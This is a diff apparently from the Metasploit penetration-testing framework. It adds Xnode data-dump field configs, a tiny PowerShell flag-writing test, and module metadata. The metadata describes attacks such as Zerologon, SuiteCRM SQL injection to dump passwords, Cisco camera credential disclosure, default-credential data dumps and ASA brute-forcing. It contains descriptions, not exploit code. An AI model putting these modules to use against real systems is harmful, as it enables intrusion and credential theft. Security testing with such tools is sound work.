# - DIRECTORY_PARTITION
|
||||
# - ERROR_CODE
|
||||
# - ERROR_CODE_TEXT
|
||||
# - EXTENDED_REQUEST_CODE
|
||||
# - FAILING_DNS_HOST
|
||||
# - HIGHEST_USN
|
||||
# - INTERSITE_TRANSPORT
|
||||
# - LAST_REPLICATION_DATE
|
||||
# - OBJECT_GUID
|
||||
# - OBJECT_NAME
|
||||
# - COMMON_NAME_PATH
|
||||
# - OPERATION
|
||||
# - REASON
|
||||
- REGISTRY_KEY
|
||||
# - REMOVE_LINGERING_OBJECTS
|
||||
# - SECONDARY_ERROR_VALUE
|
||||
- SERVICE_PRINCIPAL_NAME
|
||||
- SITE_NAME
|
||||
- SOURCE_DIRECTORY_SERVICE
|
||||
- SOURCE_DS_DOMAIN_NAME
|
||||
- SOURCE_DS_GUID
|
||||
- SOURCE_DS_NAME
|
||||
- SOURCE_DS_STARTING_ID
|
||||
# - THREAD_ID
|
||||
# - TIMEOUT_PERIOD
|
||||
# - TOMBSTONE_LIFE_TIME
|
||||
# - TRANSPORT_NAME
|
||||
# - USER_ACTION
|
||||
# - ATTRIBUTES_NAME
|
||||
# - ATTRIBUTES_VALUE
|
||||
# - SOURCE_DRA
|
||||
# - DESTINATION_DRA
|
||||
# - DESTINATION_DS_NAME
|
||||
# - DRS_OPTIONS
|
||||
# - REPL_EVENT_COUNT
|
||||
# - REPL_STATUS_CODE
|
||||
# - SESSION_ID
|
||||
# - START_USN
|
||||
# - END_USN
|
||||
# - TYPE_OF_CHANGE
|
||||
@@ -0,0 +1,259 @@
|
||||
---
|
||||
DSPEmailAuditReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - COMPLETION_TIME
|
||||
# - SOURCE_ID
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
- USER_SID
|
||||
- USER_NAME
|
||||
# - ATTACHMENT_ID
|
||||
# - ACCESS_TYPE
|
||||
# - ACCESS_TYPE_MESSAGE
|
||||
# - PROCESS_NAME
|
||||
- MAIL_FROM
|
||||
- MAIL_TO
|
||||
- MAIL_BCC
|
||||
- MAIL_CC
|
||||
# - MAIL_SUBJECT
|
||||
# - MAIL_SENT_TIME
|
||||
# - MAIL_CLASSFICATION_VALUE
|
||||
# - MAIL_CLASSFICATION
|
||||
# - PROFILE_ID
|
||||
- PROFILE_NAME
|
||||
# - PROFILETYPE_ID
|
||||
# - PROFILETYPE_NAME
|
||||
DSPEndpointAuditReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - COMPLETION_TIME
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
# - SOURCE_ID
|
||||
- USER_SID
|
||||
- USERNAME
|
||||
# - PROCESS_ID
|
||||
# - LAST_ACCESS_TIME
|
||||
# - LAST_WRITE_TIME
|
||||
# - CREATION_TIME
|
||||
# - FILE_ATTRIBUTES
|
||||
# - UNC_NAME
|
||||
# - LOCATION
|
||||
# - MESSAGE
|
||||
# - FILE_FOLDER_NAME
|
||||
# - NEW_FILE_NAME
|
||||
# - IMAGE_FILE_NAME
|
||||
# - OLD_SHARE_PATH
|
||||
# - NEW_SHARE_PATH
|
||||
# - SHARE_ID
|
||||
# - IS_SUCCESS_EVENT
|
||||
# - IS_DIRECTORY
|
||||
# - IS_TRANSACTION
|
||||
# - ACTION_ID
|
||||
# - ACCESS_MASK
|
||||
# - THREAD_ID
|
||||
# - CALLBACK_MAJOR_ID
|
||||
# - CALLBACK_MINOR_ID
|
||||
# - PROFILE_ID
|
||||
# - USER_ID
|
||||
# - OLD_SACL
|
||||
# - NEW_SACL
|
||||
# - DIFF_SACL
|
||||
# - FILE_SIZE
|
||||
- CLIENT_IP
|
||||
- CLIENT_HOST
|
||||
- OWNER_INFO
|
||||
# - OTHERINFO_1
|
||||
# - OTHERINFO_2
|
||||
# - IS_SENSITIVE_DATA
|
||||
# - FILETYPE_EXTENSION
|
||||
# - FILETYPE_CATEGORY
|
||||
# - ACCESS_FROM
|
||||
# - EVENT_GENERATED_BY
|
||||
# - LOGIN_ID
|
||||
- LOGIN_NAME
|
||||
- OWNER_SID
|
||||
# - IS_USB_EVENT
|
||||
# - IS_NETWORK_COPY
|
||||
# - LAST_KNOWN_COPY
|
||||
# - PROFILETYPE_ID
|
||||
# - PROFILETYPE_NAME
|
||||
DSPEndpointClassificationReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - COMPLETION_TIME
|
||||
# - SOURCE_ID
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
- USER_SID
|
||||
- USER_NAME
|
||||
# - CLASSIFICATION_ID
|
||||
# - CLASSIFICATION_VALUE
|
||||
# - CLASSIFICATION_MSG
|
||||
# - LOCAL_PATH
|
||||
# - FILE_FOLDER_NAME
|
||||
# - LAST_ACCESS_TIME
|
||||
# - LAST_WRITE_TIME
|
||||
# - CREATION_TIME
|
||||
# - FILE_ATTRIBUTES
|
||||
- FILE_OWNER
|
||||
- OWNER_SID
|
||||
# - FILE_SIZE
|
||||
# - FILETYPE_EXTENSION
|
||||
# - IS_HIDDEN
|
||||
# - MEDIA_FILE
|
||||
# - FILETYPE_EXTENSION_CATEGORY
|
||||
DSPEndpointIncidentReport:
|
||||
- INCIDENT_ID
|
||||
- SOURCE
|
||||
# - MODULE_NAME
|
||||
# - INCIDENT_TIME
|
||||
# - COMPLETION_TIME
|
||||
- TIME_GENERATED
|
||||
# - MESSAGE
|
||||
# - LOCATION
|
||||
# - ENDPOINT_ID
|
||||
# - INCIDENT_STATUS
|
||||
# - VIOLATED_POLICY
|
||||
# - DOMAIN_ID
|
||||
- ENDPOINT_NAME
|
||||
- USERNAME
|
||||
# - USER_ID
|
||||
# - LAST_ACCESS_TIME
|
||||
# - LAST_WRITE_TIME
|
||||
# - FILE_SIZE
|
||||
# - CREATION_TIME
|
||||
# - REPORT_GENERATION_ID
|
||||
# - NEW_FILE_NAME
|
||||
# - IMAGE_FILE_NAME
|
||||
# - FILE_FOLDER_NAME
|
||||
- USER_SID
|
||||
# - FILETYPE_EXTENSION
|
||||
# - IS_USB_EVENT
|
||||
- NOTIFY_NAME
|
||||
- MAIL_FROM
|
||||
- MAIL_TO
|
||||
- MAIL_BCC
|
||||
- MAIL_CC
|
||||
# - MAIL_SUBJECT
|
||||
# - MAIL_SENT_TIME
|
||||
# - MAIL_CLASSFICATION
|
||||
# - PRINTER_NAME
|
||||
# - FILENAME
|
||||
# - PORT_NAME
|
||||
- MACHINE_NAME
|
||||
- PRINTER_USERNAME
|
||||
# - TOTAL_PAGES
|
||||
- CLIENTIPLIST
|
||||
- URL
|
||||
# - CLASSIFICATION_VALUE
|
||||
# - INCIDENT_PROFILE_ID
|
||||
# - INCIDENT_PROFILE_NAME
|
||||
# - INCIDENT_SEVERITY
|
||||
# - PROFILETYPE_ID
|
||||
# - PROFILETYPE_NAME
|
||||
# - IS_NETWORK_COPY
|
||||
# - LAST_KNOWN_COPY
|
||||
- CLIENT_HOST
|
||||
DspEndpointPrinterAuditReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - COMPLETION_TIME
|
||||
# - SOURCE_ID
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
- USER_SID
|
||||
- USER_NAME
|
||||
# - PRINTER_NAME
|
||||
# - FILENAME
|
||||
# - LOCAL_PATH
|
||||
# - PORT_NAME
|
||||
- MACHINE_NAME
|
||||
- PRINTER_USERNAME
|
||||
- NOTIFY_NAME
|
||||
# - TOTAL_PAGES
|
||||
# - FILE_SIZE
|
||||
# - CREATION_TIME
|
||||
- CLIENTIPLIST
|
||||
# - PROFILE_ID
|
||||
- PROFILE_NAME
|
||||
# - PROFILETYPE_ID
|
||||
# - PROFILETYPE_NAME
|
||||
DspEndpointWebAuditReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - SOURCE_ID
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
- USER_SID
|
||||
- USER_NAME
|
||||
# - NEW_FILE_NAME
|
||||
# - FILE_SIZE
|
||||
# - FILETYPE_EXTENSION
|
||||
# - PROCESS_NAME
|
||||
# - MESSAGE
|
||||
# - URL
|
||||
- CLIENT_IP
|
||||
# - PROFILE_ID
|
||||
- PROFILE_NAME
|
||||
DSPFileAnalysisAlerts:
|
||||
- INCIDENT_ID
|
||||
# - VIOLATED_PROFILE
|
||||
# - SERVER_ID
|
||||
# - DRIVE_LETTER
|
||||
# - SOURCE_ID
|
||||
- TIME_GENERATED
|
||||
# - SECURITY_ID
|
||||
- SERVERNAME
|
||||
# - FILE_ATTRIBUTES
|
||||
# - LAST_ACCESS_TIME
|
||||
# - LAST_WRITE_TIME
|
||||
# - FILE_SIZE
|
||||
# - CREATION_TIME
|
||||
# - REPORT_GENERATION_ID
|
||||
# - YEAR_CREATED
|
||||
# - FILE_FOLDER_NAME
|
||||
# - LOCAL_PATH
|
||||
# - FILETYPE_EXTENSION
|
||||
# - IS_HIDDEN
|
||||
# - IS_DIRECTORY
|
||||
# - IS_STALE
|
||||
# - NON_BUSINESS_FILE
|
||||
# - FILETYPE_EXTENSION_CATEGORY
|
||||
RAAlertHistory:
|
||||
- INCIDENT_ID
|
||||
# - FILE_NAME
|
||||
# - FILE_TYPE
|
||||
# - LOCATION
|
||||
- SERVER_NAME
|
||||
# - POLICY_ID
|
||||
# - POLICY_NAME
|
||||
- TIME_GENERATED
|
||||
# - NO_OF_OCCURRENCES
|
||||
- FILE_OWNER
|
||||
# - DATA_SOURCE
|
||||
# - RISK_SCORE
|
||||
# - ENTITY_ID
|
||||
RAIncidents:
|
||||
- INCIDENT_ID
|
||||
# - FILE_NAME
|
||||
# - FILE_TYPE
|
||||
# - LOCATION
|
||||
- SERVER_NAME
|
||||
# - POLICY_ID
|
||||
# - POLICY_NAME
|
||||
- TIME_GENERATED
|
||||
# - NO_OF_OCCURRENCES
|
||||
- FILE_OWNER
|
||||
# - DATA_SOURCE
|
||||
# - RAISED_INCIDENT
|
||||
# - SOURCE_ID
|
||||
# - RISK_SCORE
|
||||
# - VIOLATION_SCORE
|
||||
# - POLICY_SCORE
|
||||
# - PERMISSION_SCORE
|
||||
# - AUDIT_SCORE
|
||||
# - USER_SCORE
|
||||
# - SCORE_DESCRIPTION
|
||||
# - ENTITY_ID
|
||||
@@ -0,0 +1,2 @@
|
||||
$someText = "Hello!" ; $someText > "C:\flag.txt"
|
||||
|
||||
+4614
-77
@@ -570,7 +570,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-02-16 13:56:50 +0000",
|
||||
"mod_time": "2022-08-03 14:27:30 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/cve_2020_1472_zerologon",
|
||||
@@ -580,6 +580,66 @@
|
||||
"notes": {
|
||||
"AKA": [
|
||||
"Zerologon"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"config-changes",
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/dcerpc/icpr_cert": {
|
||||
"name": "ICPR Certificate Management",
|
||||
"fullname": "auxiliary/admin/dcerpc/icpr_cert",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Oliver Lyak",
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate\n template's configuration the resulting certificate can be used for various operations such as authentication.\n PFX certificate files that are saved are encrypted with a blank password.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 445,
|
||||
"autofilter_ports": [
|
||||
139,
|
||||
445
|
||||
],
|
||||
"autofilter_services": [
|
||||
"netbios-ssn",
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-25 08:49:52 +0000",
|
||||
"path": "/modules/auxiliary/admin/dcerpc/icpr_cert.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/dcerpc/icpr_cert",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
@@ -17166,6 +17226,65 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/cisco_pvc2300_download_config": {
|
||||
"name": "Cisco PVC2300 POE Video Camera configuration download",
|
||||
"fullname": "auxiliary/gather/cisco_pvc2300_download_config",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2013-07-12",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Craig Heffner",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order\n to download the configuration file containing the admin credentials for the web interface.\n\n The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the\n module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml\n endpoint using hardcoded credentials.\n\n If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml\n with the aim of downloading the configuration file. The configuration file, if obtained, is then\n decoded and saved to the loot directory. Finally, the module attempts to extract the admin\n credentials to the web interface from the decoded configuration file.\n\n No known solution was made available for this vulnerability and no CVE has been published. It is\n therefore likely that most (if not all) Cisco PVC2300 cameras are affected.\n\n This module was successfully tested against several Cisco PVC2300 cameras.",
|
||||
"references": [
|
||||
"URL-https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
|
||||
"URL-https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
|
||||
"URL-https://www.youtube.com/watch?v=B8DjTcANBx0"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-04 11:45:36 +0000",
|
||||
"path": "/modules/auxiliary/gather/cisco_pvc2300_download_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/cisco_pvc2300_download_config",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/cisco_rv320_config": {
|
||||
"name": "Cisco RV320/RV326 Configuration Disclosure",
|
||||
"fullname": "auxiliary/gather/cisco_rv320_config",
|
||||
@@ -19451,7 +19570,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-25 14:51:37 +0000",
|
||||
"mod_time": "2022-08-30 16:59:30 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_query.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_query",
|
||||
@@ -19472,6 +19591,86 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/manageengine_adaudit_plus_xnode_enum": {
|
||||
"name": "ManageEngine ADAudit Plus Xnode Enumeration",
|
||||
"fullname": "auxiliary/gather/manageengine_adaudit_plus_xnode_enum",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Sahil Dhar",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits default admin credentials for the DataEngine\n Xnode server in ADAudit Plus versions prior to 6.0.3 (6032) in\n order to dump the contents of Xnode data repositories (tables),\n which may contain (a limited amount of) Active Directory\n information including domain names, host names, usernames and SIDs.\n This module can also be used against patched ADAudit Plus versions\n if the correct credentials are provided.\n\n By default, this module dumps only the data repositories and fields\n (columns) specified in the configuration file (set via the\n CONFIG_FILE option). The configuration file is also used to\n add labels to the values sent by Xnode in response to a query.\n\n It is also possible to use the DUMP_ALL option to obtain all data\n in all known data repositories without specifying data field names.\n However, note that when using the DUMP_ALL option, the data won't be labeled.\n\n This module has been successfully tested against ManageEngine\n ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2 and\n ADAudit Plus 6.0.7 (6076) running on Windows Server 2019.",
|
||||
"references": [
|
||||
"CVE-2020-11532",
|
||||
"PACKETSTORM-157609"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 29118,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-24 16:15:11 +0000",
|
||||
"path": "/modules/auxiliary/gather/manageengine_adaudit_plus_xnode_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/manageengine_adaudit_plus_xnode_enum",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/manageengine_datasecurity_plus_xnode_enum": {
|
||||
"name": "ManageEngine DataSecurity Plus Xnode Enumeration",
|
||||
"fullname": "auxiliary/gather/manageengine_datasecurity_plus_xnode_enum",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Sahil Dhar",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits default admin credentials for the DataEngine\n Xnode server in DataSecurity Plus versions prior to 6.0.1 (6011)\n in order to dump the contents of Xnode data repositories (tables),\n which may contain (a limited amount of) Active Directory\n information including domain names, host names, usernames and SIDs.\n This module can also be used against patched DataSecurity Plus\n versions if the correct credentials are provided.\n\n By default, this module dumps only the data repositories and fields\n (columns) specified in the configuration file (set via the\n CONFIG_FILE option). The configuration file is also used to\n add labels to the values sent by Xnode in response to a query.\n\n It is also possible to use the DUMP_ALL option to obtain all data\n in all known data repositories without specifying data field names.\n However, note that when using the DUMP_ALL option, the data won't be labeled.\n\n This module has been successfully tested against ManageEngine\n DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.",
|
||||
"references": [
|
||||
"CVE-2020-11532",
|
||||
"PACKETSTORM-157609"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 29119,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-24 16:15:11 +0000",
|
||||
"path": "/modules/auxiliary/gather/manageengine_datasecurity_plus_xnode_enum.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/manageengine_datasecurity_plus_xnode_enum",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/mantisbt_admin_sqli": {
|
||||
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
|
||||
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
|
||||
@@ -21090,6 +21289,65 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/suite_crm_export_sqli": {
|
||||
"name": "SuiteCRM authenticated SQL injection in export functionality",
|
||||
"fullname": "auxiliary/gather/suite_crm_export_sqli",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-05-24",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Exodus Intelligence",
|
||||
"jheysel-r7",
|
||||
"Redouane NIBOUCHA <rniboucha@yahoo.fr>"
|
||||
],
|
||||
"description": "This module exploits an authenticated SQL injection in SuiteCRM in versions before 7.12.6. The vulnerability\n allows an authenticated attacker to send specially crafted requests to the export entry point of the application in order\n to retrieve all the usernames and their associated password from the database.",
|
||||
"references": [
|
||||
"URL-https://blog.exodusintel.com/2022/06/09/salesagility-suitecrm-export-request-sql-injection-vulnerability/",
|
||||
"URL-https://docs.suitecrm.com/admin/releases/7.12.x/#_7_12_6"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-09-12 23:46:10 +0000",
|
||||
"path": "/modules/auxiliary/gather/suite_crm_export_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/suite_crm_export_sqli",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/teamtalk_creds": {
|
||||
"name": "TeamTalk Gather Credentials",
|
||||
"fullname": "auxiliary/gather/teamtalk_creds",
|
||||
@@ -25261,6 +25519,64 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cassandra_web_file_read": {
|
||||
"name": "Cassandra Web File Read Vulnerability",
|
||||
"fullname": "auxiliary/scanner/http/cassandra_web_file_read",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Jeremy Brown",
|
||||
"krastanoel"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web\n 'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.\n This vulnerability occured due to the disabled Rack::Protection module",
|
||||
"references": [
|
||||
"URL-https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be",
|
||||
"EDB-49362"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 3000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-03 19:21:42 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cassandra_web_file_read.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/cassandra_web_file_read",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cert": {
|
||||
"name": "HTTP SSL Certificate Checker",
|
||||
"fullname": "auxiliary/scanner/http/cert",
|
||||
@@ -25490,9 +25806,9 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cisco_asa_asdm": {
|
||||
"name": "Cisco ASA ASDM Bruteforce Login Utility",
|
||||
"fullname": "auxiliary/scanner/http/cisco_asa_asdm",
|
||||
"auxiliary_scanner/http/cisco_asa_asdm_bruteforce": {
|
||||
"name": "Cisco ASA ASDM Brute-force Login",
|
||||
"fullname": "auxiliary/scanner/http/cisco_asa_asdm_bruteforce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
@@ -25500,11 +25816,11 @@
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Jonathan Claudius <jclaudius@trustwave.com>"
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module scans for Cisco ASA ASDM web login portals and\n performs login brute force to identify valid credentials.",
|
||||
"description": "This module scans for the Cisco ASA ASDM landing page and performs login brute-force\n to identify valid credentials.",
|
||||
"references": [
|
||||
|
||||
"URL-https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -25525,14 +25841,80 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-28 10:35:25 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cisco_asa_asdm.rb",
|
||||
"mod_time": "2022-08-16 06:31:25 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/cisco_asa_asdm",
|
||||
"ref_name": "scanner/http/cisco_asa_asdm_bruteforce",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cisco_asa_clientless_vpn": {
|
||||
"name": "Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility",
|
||||
"fullname": "auxiliary/scanner/http/cisco_asa_clientless_vpn",
|
||||
"aliases": [
|
||||
"auxiliary/scanner/http/cisco_asa_asdm"
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Jonathan Claudius <jclaudius@trustwave.com>",
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and\n performs login brute-force to identify valid credentials.",
|
||||
"references": [
|
||||
"URL-https://www.cisco.com/c/en/us/support/docs/security-vpn/webvpn-ssl-vpn/119417-config-asa-00.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-19 10:51:33 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cisco_asa_clientless_vpn.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/cisco_asa_clientless_vpn",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
@@ -44439,6 +44821,53 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/scada/bacnet_l3": {
|
||||
"name": "BACnet Scanner",
|
||||
"fullname": "auxiliary/scanner/scada/bacnet_l3",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Paz <Paz @ SCADAfence>"
|
||||
],
|
||||
"description": "Discover BACnet devices by broadcasting Who-is message, then poll\n discovered devices for properties including model name,\n software version, firmware revision and description.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-01 15:11:57 +0000",
|
||||
"path": "/modules/auxiliary/scanner/scada/bacnet_l3.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/scada/bacnet_l3",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
